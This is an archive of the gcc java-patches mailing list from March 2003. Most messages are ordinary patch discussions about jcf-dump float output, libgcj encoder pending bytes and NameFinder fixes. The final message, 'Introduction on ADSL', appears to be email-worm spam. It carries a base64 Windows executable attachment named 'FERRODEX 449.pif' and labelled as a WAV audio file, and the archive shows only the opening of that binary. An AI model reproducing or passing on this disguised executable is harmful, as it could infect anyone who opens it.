gnu.testlet.java.security.SecureRandom.SHA1PRNG: found implementation (number 1) FAIL: gnu.testlet.java.security.SecureRandom.SHA1PRNG: no implementation found (number 1) FAIL: gnu.testlet.java.security.Security.property: uncaught exception at number 1: java.lang.NullPointerException Note that the fallback (and warning) only works if there no valid security providers defined and there are errors with all security provider resources. So if there actually is a security provider file/resource, but it is left empty by the user then they still get what they want (no provider and no standard algorithms). Cheers, Mark From java-patches-return-6473-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 17:10:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1119 invoked by alias); 14 Mar 2003 17:10:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1081 invoked from network); 14 Mar 2003 17:10:08 -0000 Received: from unknown (HELO egil.codesourcery.com) (66.92.14.122) by sources.redhat.com with SMTP; 14 Mar 2003 17:10:08 -0000 Received: from zack by egil.codesourcery.com with local (Exim 3.36 #1 (Debian)) id 18tsh5-0006zw-00; Fri, 14 Mar 2003 09:10:07 -0800 To: gcc-patches@gcc.gnu.org Cc: java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) From: Zack Weinberg Date: Fri, 14 Mar 2003 09:10:07 -0800 In-Reply-To: <871y1bx963.fsf@egil.codesourcery.com> (Zack Weinberg's message of "Thu, 13 Mar 2003 13:12:52 -0800") Message-ID: <87n0jx7u34.fsf@egil.codesourcery.com> User-Agent: Gnus/5.090016 (Oort Gnus v0.16) Emacs/21.2 References: <871y1bx963.fsf@egil.codesourcery.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Zack Weinberg writes: > Revised patch which generates correct hex floating constants for > java.lang.Float and java.lang.Double. I was not able to incorporate > Richard's suggestion to use __builtin_nan() in gcjh, because the C++ > compiler currently rejects that construct. We can revisit that after > the C++ compiler is fixed. Re-revised patch which gets decimal floating point output in jcf-dump right for normalized numbers. I had forgotten the implicit bit. Denormals, at least on my machine, get turned into the minimum representable normalized number; I don't think there's anything that can be done about that. Tested by examining jcf-dump output for Float.class, Double.class, and the .class file generated from public final class test { public static final double PId = 3.14159265358979323846; public static final float PIf = 3.14159265358979323846f; }; Only jcf-dump.c has changed since the previous posting. zw > * jcf-dump.c: Include math.h. Use ldexp/frexp to assemble > finite floating point numbers for output; special case > non-finite floats. =================================================================== Index: jcf-dump.c --- jcf-dump.c 18 Jan 2003 22:15:51 -0000 1.55 +++ jcf-dump.c 14 Mar 2003 17:08:07 -0000 @@ -62,6 +62,7 @@ The Free Software Foundation is independ #include "version.h" #include +#include /* Outout file. */ FILE *out; @@ -504,24 +505,86 @@ print_constant (FILE *out, JCF *jcf, int break; case CONSTANT_Float: { - union - { - jfloat f; - int32 i; - } pun; - - pun.f = JPOOL_FLOAT (jcf, index); - fprintf (out, "%s%.10g", - verbosity > 0 ? "Float " : "", (double) pun.f); + jfloat fnum = JPOOL_FLOAT (jcf, index); + + if (verbosity > 0) + fputs ("Float ", out); + + if (fnum.negative) + putc ('-', out); + + if (JFLOAT_FINITE (fnum)) + { + int dummy; + int exponent = fnum.exponent - JFLOAT_EXP_BIAS; + double f; + uint32 mantissa = fnum.mantissa; + if (fnum.exponent == 0) + /* Denormal. */ + exponent++; + else + /* Normal; add the implicit bit. */ + mantissa |= ((uint32)1 << 23); + + f = frexp (mantissa, &dummy); + f = ldexp (f, exponent + 1); + fprintf (out, "%.10g", f); + } + else + { + if (fnum.mantissa == 0) + fputs ("Inf", out); + else if (fnum.mantissa & JFLOAT_QNAN_MASK) + fprintf (out, "QNaN(%u)", (fnum.mantissa & ~JFLOAT_QNAN_MASK)); + else + fprintf (out, "SNaN(%u)", (fnum.mantissa & ~JFLOAT_QNAN_MASK)); + } + if (verbosity > 1) - fprintf (out, ", bits = 0x%08lx", (long) pun.i); + fprintf (out, ", bits = 0x%08lx", JPOOL_UINT (jcf, index)); break; } case CONSTANT_Double: { jdouble dnum = JPOOL_DOUBLE (jcf, index); - fprintf (out, "%s%.20g", verbosity > 0 ? "Double " : "", dnum); + + if (verbosity > 0) + fputs ("Double ", out); + + if (dnum.negative) + putc ('-', out); + + if (JDOUBLE_FINITE (dnum)) + { + int dummy; + int exponent = dnum.exponent - JDOUBLE_EXP_BIAS; + double d; + uint64 mantissa = ((((uint64) dnum.mantissa0) << 32) + + dnum.mantissa1); + if (dnum.exponent == 0) + /* Denormal. */ + exponent++; + else + /* Normal; add the implicit bit. */ + mantissa |= ((uint64)1 << 52); + + d = frexp (mantissa, &dummy); + d = ldexp (d, exponent + 1); + fprintf (out, "%.20g", d); + } + else + { + uint64 mantissa = dnum.mantissa0 & ~JDOUBLE_QNAN_MASK; + mantissa = (mantissa << 32) + dnum.mantissa1; + + if (dnum.mantissa0 == 0 && dnum.mantissa1 == 0) + fputs ("Inf", out); + else if (dnum.mantissa0 & JDOUBLE_QNAN_MASK) + fprintf (out, "QNaN(%llu)", (unsigned long long)mantissa); + else + fprintf (out, "SNaN(%llu)", (unsigned long long)mantissa); + } if (verbosity > 1) { int32 hi, lo; From java-patches-return-6474-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 17:31:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16861 invoked by alias); 14 Mar 2003 17:31:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16780 invoked from network); 14 Mar 2003 17:31:41 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 14 Mar 2003 17:31:41 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18tt0x-0007Fq-00; Fri, 14 Mar 2003 18:30:39 +0100 Subject: Re: Partial fix for libgcj/9802 From: Mark Wielaard To: tromey@redhat.com Cc: James Clark , java-patches@gcc.gnu.org, Jesse Rosenstock In-Reply-To: <877kbiu1a4.fsf@fleche.redhat.com> References: <1045937012.3332.605.camel@elsschot> <3E581152.4030507@jclark.com> <1046041940.3352.975.camel@elsschot> <1046137159.3364.99.camel@elsschot> <877kbiu1a4.fsf@fleche.redhat.com> Content-Type: multipart/mixed; boundary="=-NkdBRrBsnCPyHQkJQegK" Organization: Message-Id: <1047663073.4905.326.camel@elsschot> Mime-Version: 1.0 Date: 14 Mar 2003 18:31:13 +0100 --=-NkdBRrBsnCPyHQkJQegK Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Sun, 2003-03-02 at 00:15, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> + * gnu/gcj/convert/UnicodeToBytes.java (havePendingByes): New method. > > Should be "Bytes", not "Byes". There are several of these in the > ChangeLog entry. Fixed ChangeLog entry: 2002-03-14 James Clark Fix for PR libgcj/8738: * gnu/gcj/convert/UnicodeToBytes.java (havePendingBytes): New method. * gnu/gcj/convert/Output_SJIS.java (havePendingBytes): Likewise. * gnu/gcj/convert/Output_EUCJIS.java (havePendingBytes): Likewise. * gnu/gcj/convert/Output_UTF8.java (havePendingBytes): Likewise. (write): Always decrease avail when count is increased. * java/lang/natString.cc (getBytes): Check converter havePendingBytes() and whether output buffer is full before increasing size. > I'm inclined to put this in, but first a couple questions. > > What should we do about the iconv converter? > Perhaps for 3.3 we can hack around the problem, and just ditch old > glibc compatibility for 3.4. Or maybe now is the time Since the iconv converter does not keep internal state it does not need a havePendingBytes() method. But I think your patch is necessary since we need to break out of the iconv loop when we hit errno == E2BIG, but keep on converting/throwing away bytes when we see invalid sequences. (But again, I didn't actually test it. The only test case that I actually made is the surrogate Mauve test that James Clark pointed out. We need some users which use different encodings to help us get all this right/debugged.) > Do we also need to update PrintStream and friends? Yes. PrintStream and OutputStreamWriter should get the following updates. PrintStream always clears a working buffer of 100 bytes so doesn't need to flush or enlarge it, but OutputStreamWriter might be using a very small BufferedOutputStream or when count is small might not trigger an automatic flush() so it does need extra flushing. Although in practice this will probably never actually happen. 2002-03-14 Mark Wielaard * java/io/PrintStream.java (writeChars(char[],int, int)): Check converter.havePendingBytes(). (writeChars(String,int,int)): Likewise. * java/io/OutputStreamWriter.java (writeChars(char[], int, int)): Check converter.havePendingBytes() and flush buffer when stalled. No new tests created, but also no regression with the libgcj and Mauve test suites. Should I check this in into branch and mainline? Cheers, Mark --=-NkdBRrBsnCPyHQkJQegK Content-Disposition: inline; filename=convert_4.patch Content-Type: text/x-patch; name=convert_4.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/lang/natString.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natString.cc,v retrieving revision 1.27 diff -u -r1.27 natString.cc --- java/lang/natString.cc 13 Jun 2002 18:16:26 -0000 1.27 +++ java/lang/natString.cc 14 Mar 2003 16:17:36 -0000 @@ -1,6 +1,6 @@ // natString.cc - Implementation of java.lang.String native methods. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -586,12 +586,11 @@ jint offset = 0; gnu::gcj::convert::UnicodeToBytes *converter = gnu::gcj::convert::UnicodeToBytes::getEncoder(enc); - while (todo > 0) + while (todo > 0 || converter->havePendingBytes()) { converter->setOutput(buffer, bufpos); int converted = converter->write(this, offset, todo, NULL); - bufpos = converter->count; - if (converted == 0) + if (converted == 0 && bufpos == converter->count) { buflen *= 2; jbyteArray newbuffer = JvNewByteArray(buflen); @@ -599,10 +598,10 @@ buffer = newbuffer; } else - { - offset += converted; - todo -= converted; - } + bufpos = converter->count; + + offset += converted; + todo -= converted; } converter->done (); if (bufpos == buflen) Index: java/io/PrintStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/PrintStream.java,v retrieving revision 1.10 diff -u -r1.10 PrintStream.java --- java/io/PrintStream.java 2 Apr 2001 21:16:38 -0000 1.10 +++ java/io/PrintStream.java 14 Mar 2003 16:17:36 -0000 @@ -1,6 +1,6 @@ // PrintStream.java - Print string representations -/* Copyright (C) 1998, 1999, 2001 Free Software Foundation +/* Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -110,7 +110,7 @@ private void writeChars(char[] buf, int offset, int count) throws IOException { - while (count > 0) + while (count > 0 || converter.havePendingBytes()) { converter.setOutput(work_bytes, 0); int converted = converter.write(buf, offset, count); @@ -123,7 +123,7 @@ private void writeChars(String str, int offset, int count) throws IOException { - while (count > 0) + while (count > 0 || converter.havePendingBytes()) { converter.setOutput(work_bytes, 0); int converted = converter.write(str, offset, count, work); Index: java/io/OutputStreamWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/OutputStreamWriter.java,v retrieving revision 1.11 diff -u -r1.11 OutputStreamWriter.java --- java/io/OutputStreamWriter.java 13 Feb 2003 23:28:57 -0000 1.11 +++ java/io/OutputStreamWriter.java 14 Mar 2003 16:17:36 -0000 @@ -106,7 +106,7 @@ private void writeChars(char[] buf, int offset, int count) throws IOException { - while (count > 0) + while (count > 0 || converter.havePendingBytes()) { // We must flush if out.count == out.buf.length. // It is probably a good idea to flush if out.buf is almost full. @@ -119,6 +119,13 @@ } converter.setOutput(out.buf, out.count); int converted = converter.write(buf, offset, count); + // Flush if we cannot make progress. + if (converted == 0 && out.count == converter.count) + { + out.flush(); + if (out.count != 0) + throw new IOException("unable to flush output byte buffer"); + } offset += converted; count -= converted; out.count = converter.count; Index: gnu/gcj/convert/Output_EUCJIS.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_EUCJIS.java,v retrieving revision 1.3 diff -u -r1.3 Output_EUCJIS.java --- gnu/gcj/convert/Output_EUCJIS.java 7 Mar 2000 19:55:24 -0000 1.3 +++ gnu/gcj/convert/Output_EUCJIS.java 14 Mar 2003 16:17:36 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999 Free Software Foundation +/* Copyright (C) 1999, 2003 Free Software Foundation This file is part of libgcj. @@ -21,6 +21,11 @@ public native int write (char[] inbuffer, int inpos, int inlength); public native int write (String str, int inpos, int inlength, char[] work); + + public boolean havePendingBytes() + { + return pending1 >= 0; + } int pending1 = -1; int pending2; Index: gnu/gcj/convert/Output_SJIS.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_SJIS.java,v retrieving revision 1.3 diff -u -r1.3 Output_SJIS.java --- gnu/gcj/convert/Output_SJIS.java 7 Mar 2000 19:55:24 -0000 1.3 +++ gnu/gcj/convert/Output_SJIS.java 14 Mar 2003 16:17:36 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999 Free Software Foundation +/* Copyright (C) 1999, 2003 Free Software Foundation This file is part of libgcj. @@ -21,6 +21,11 @@ public native int write (char[] inbuffer, int inpos, int inlength); public native int write (String str, int inpos, int inlength, char[] work); + + public boolean havePendingBytes() + { + return pending >= 0; + } int pending = -1; } Index: gnu/gcj/convert/Output_UTF8.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/Output_UTF8.java,v retrieving revision 1.6 diff -u -r1.6 Output_UTF8.java --- gnu/gcj/convert/Output_UTF8.java 8 Aug 2000 17:35:32 -0000 1.6 +++ gnu/gcj/convert/Output_UTF8.java 14 Mar 2003 16:17:36 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000 Free Software Foundation +/* Copyright (C) 1999, 2000, 2003 Free Software Foundation This file is part of libgcj. @@ -104,6 +104,7 @@ { value = (hi_part - 0xD800) * 0x400 + (ch - 0xDC00) + 0x10000; buf[count++] = (byte) (0xF0 | (value >> 18)); + avail--; bytes_todo = 3; hi_part = 0; } @@ -118,4 +119,10 @@ } return inpos - start_pos; } + + public boolean havePendingBytes() + { + return bytes_todo > 0; + } + } Index: gnu/gcj/convert/UnicodeToBytes.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/convert/UnicodeToBytes.java,v retrieving revision 1.9 diff -u -r1.9 UnicodeToBytes.java --- gnu/gcj/convert/UnicodeToBytes.java 18 Aug 2001 03:56:01 -0000 1.9 +++ gnu/gcj/convert/UnicodeToBytes.java 14 Mar 2003 16:17:36 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2000, 2001 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -144,6 +144,17 @@ int srcEnd = inpos + (inlength > work.length ? work.length : inlength); str.getChars(inpos, srcEnd, work, 0); return write(work, 0, srcEnd - inpos); + } + + /** + * Returns true when the converter has consumed some bytes that are + * not yet converted to characters because further continuation + * bytes are needed. Defaults to false, should be overridden by + * decoders that internally store some bytes. + */ + public boolean havePendingBytes() + { + return false; } /** Indicate that the converter is resuable. --=-NkdBRrBsnCPyHQkJQegK-- From java-patches-return-6475-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 22:37:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24385 invoked by alias); 14 Mar 2003 22:36:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24360 invoked from network); 14 Mar 2003 22:36:59 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 14 Mar 2003 22:36:59 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18txmj-0007wW-00; Fri, 14 Mar 2003 23:36:17 +0100 Subject: Re: dl_iterate_phdr() deadlock patch From: Mark Wielaard To: tromey@redhat.com Cc: java-patches@gcc.gnu.org In-Reply-To: <87of4usliy.fsf@fleche.redhat.com> References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> <1046521565.19771.198.camel@elsschot> <1046535554.19772.277.camel@elsschot> <87of4usliy.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1047681411.4906.421.camel@elsschot> Mime-Version: 1.0 Date: 14 Mar 2003 23:36:51 +0100 Content-Transfer-Encoding: 7bit Hi, On Sun, 2003-03-02 at 00:40, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> Figured out that previously I used the Eclipse 2.1 M4 build (and > Mark> somehow I now used the M5 build). > > So M4 works and RC1 works but M5 doesn't work? > Do you know what changed in M5? > I want to understand our apparent fragility... Finally tried this out again to try and track down what the differences were but now it just works. Both M4 and M5 work. Also tried the latest RC2 and it also works. Don't know why (just) M5 didn't work two weeks ago. Cheers, Mark From java-patches-return-6476-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 22:51:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31196 invoked by alias); 14 Mar 2003 22:51:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31121 invoked from network); 14 Mar 2003 22:51:05 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 14 Mar 2003 22:51:05 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA01165; Fri, 14 Mar 2003 15:51:02 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id EB4FD4F8613; Fri, 14 Mar 2003 15:45:15 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Andrew Haley Subject: Patch: name finder fixlets From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am NOT a nut.... Date: 14 Mar 2003 15:45:15 -0700 Message-ID: <87of4dmutg.fsf@fleche.redhat.com> Lines: 111 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This fixes a couple NameFinder bugs. First, we fail gracefully if the input stream is closed on us. This can happen if you are running an ancient c++filt. Second, we don't leak memory, and we allocate less memory in a common case. Andrew, what do you think? I want to commit to trunk and branch. Tom Index: ChangeLog from Tom Tromey * gnu/gcj/runtime/NameFinder.java (demangleName): Handle case where readLine returns null. * gnu/gcj/runtime/natNameFinder.cc (getExternalLabel): Return argument if there is no prefix. Use _Jv_AllocBytes to avoid memory leak. Use JvNewStringUTF to create string. Index: gnu/gcj/runtime/NameFinder.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/NameFinder.java,v retrieving revision 1.3.18.2 diff -u -r1.3.18.2 NameFinder.java --- gnu/gcj/runtime/NameFinder.java 10 Mar 2003 19:34:30 -0000 1.3.18.2 +++ gnu/gcj/runtime/NameFinder.java 14 Mar 2003 22:48:59 -0000 @@ -1,5 +1,5 @@ /* NameFinder.java -- Translates addresses to StackTraceElements. - Copyright (C) 2002 Free Software Foundation, Inc. + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of libgcj. @@ -427,16 +427,22 @@ private String demangleName(String s) { if (cppfilt != null) - { - try - { - cppfiltOut.write(s); - cppfiltOut.newLine(); - cppfiltOut.flush(); - return cppfiltIn.readLine(); - } - catch (IOException ioe) { cppfilt.destroy(); cppfilt = null; } - } + { + try + { + cppfiltOut.write(s); + cppfiltOut.newLine(); + cppfiltOut.flush(); + String name = cppfiltIn.readLine(); + if (name != null) + s = name; + } + catch (IOException ioe) + { + cppfilt.destroy(); + cppfilt = null; + } + } return s; } Index: gnu/gcj/runtime/natNameFinder.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/natNameFinder.cc,v retrieving revision 1.3.18.1 diff -u -r1.3.18.1 natNameFinder.cc --- gnu/gcj/runtime/natNameFinder.cc 10 Mar 2003 19:34:30 -0000 1.3.18.1 +++ gnu/gcj/runtime/natNameFinder.cc 14 Mar 2003 22:48:59 -0000 @@ -1,6 +1,6 @@ // natNameFinder.cc - native helper methods for NameFinder.java -/* Copyright (C) 2002 Free Software Foundation, Inc +/* Copyright (C) 2002, 2003 Free Software Foundation, Inc This file is part of libgcj. @@ -48,17 +48,19 @@ #endif /* ! __USER_LABEL_PREFIX__ */ -java::lang::String* -gnu::gcj::runtime::NameFinder::getExternalLabel (java::lang::String* name) +java::lang::String * +gnu::gcj::runtime::NameFinder::getExternalLabel (java::lang::String *name) { + jsize pfxLen = sizeof (LABEL_PREFIX) - 1; + if (pfxLen == 0) + return name; + jsize nameLen = JvGetStringUTFLength (name); - jsize pfxLen = strlen (LABEL_PREFIX); - char *newName = (char *) JvMalloc (pfxLen + nameLen + 1); - *(newName + 0) = '\0'; + char *newName = (char *) _Jv_AllocBytes (pfxLen + nameLen + 1); strcpy (newName, LABEL_PREFIX); JvGetStringUTFRegion (name, 0, nameLen, newName + pfxLen); - *(newName + pfxLen + nameLen) = '\0'; - return JvNewStringLatin1 (newName); + newName[pfxLen + nameLen] = '\0'; + return JvNewStringUTF (newName); } java::lang::String* From java-patches-return-6477-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 15 12:01:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32043 invoked by alias); 15 Mar 2003 12:01:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31865 invoked from network); 15 Mar 2003 12:01:48 -0000 Received: from unknown (HELO imf48bis.bellsouth.net) (205.152.58.97) by sources.redhat.com with SMTP; 15 Mar 2003 12:01:48 -0000 Received: from Tvhdjkf ([67.33.154.113]) by imf48bis.bellsouth.net (InterMail vM.5.01.04.25 201-253-122-122-125-20020815) with SMTP id <20030315120344.FBBC8118.imf48bis.bellsouth.net@Tvhdjkf> for ; Sat, 15 Mar 2003 07:03:44 -0500 From: maximus To: java-patches@gcc.gnu.org Subject: Introduction on ADSL MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=S9KP419au0cgI2828wk9aCoNxAH1R7321h3y Message-Id: <20030315120344.FBBC8118.imf48bis.bellsouth.net@Tvhdjkf> Date: Sat, 15 Mar 2003 07:03:50 -0500 --S9KP419au0cgI2828wk9aCoNxAH1R7321h3y Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --S9KP419au0cgI2828wk9aCoNxAH1R7321h3y Content-Type: audio/x-wav; name=FERRODEX 449.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 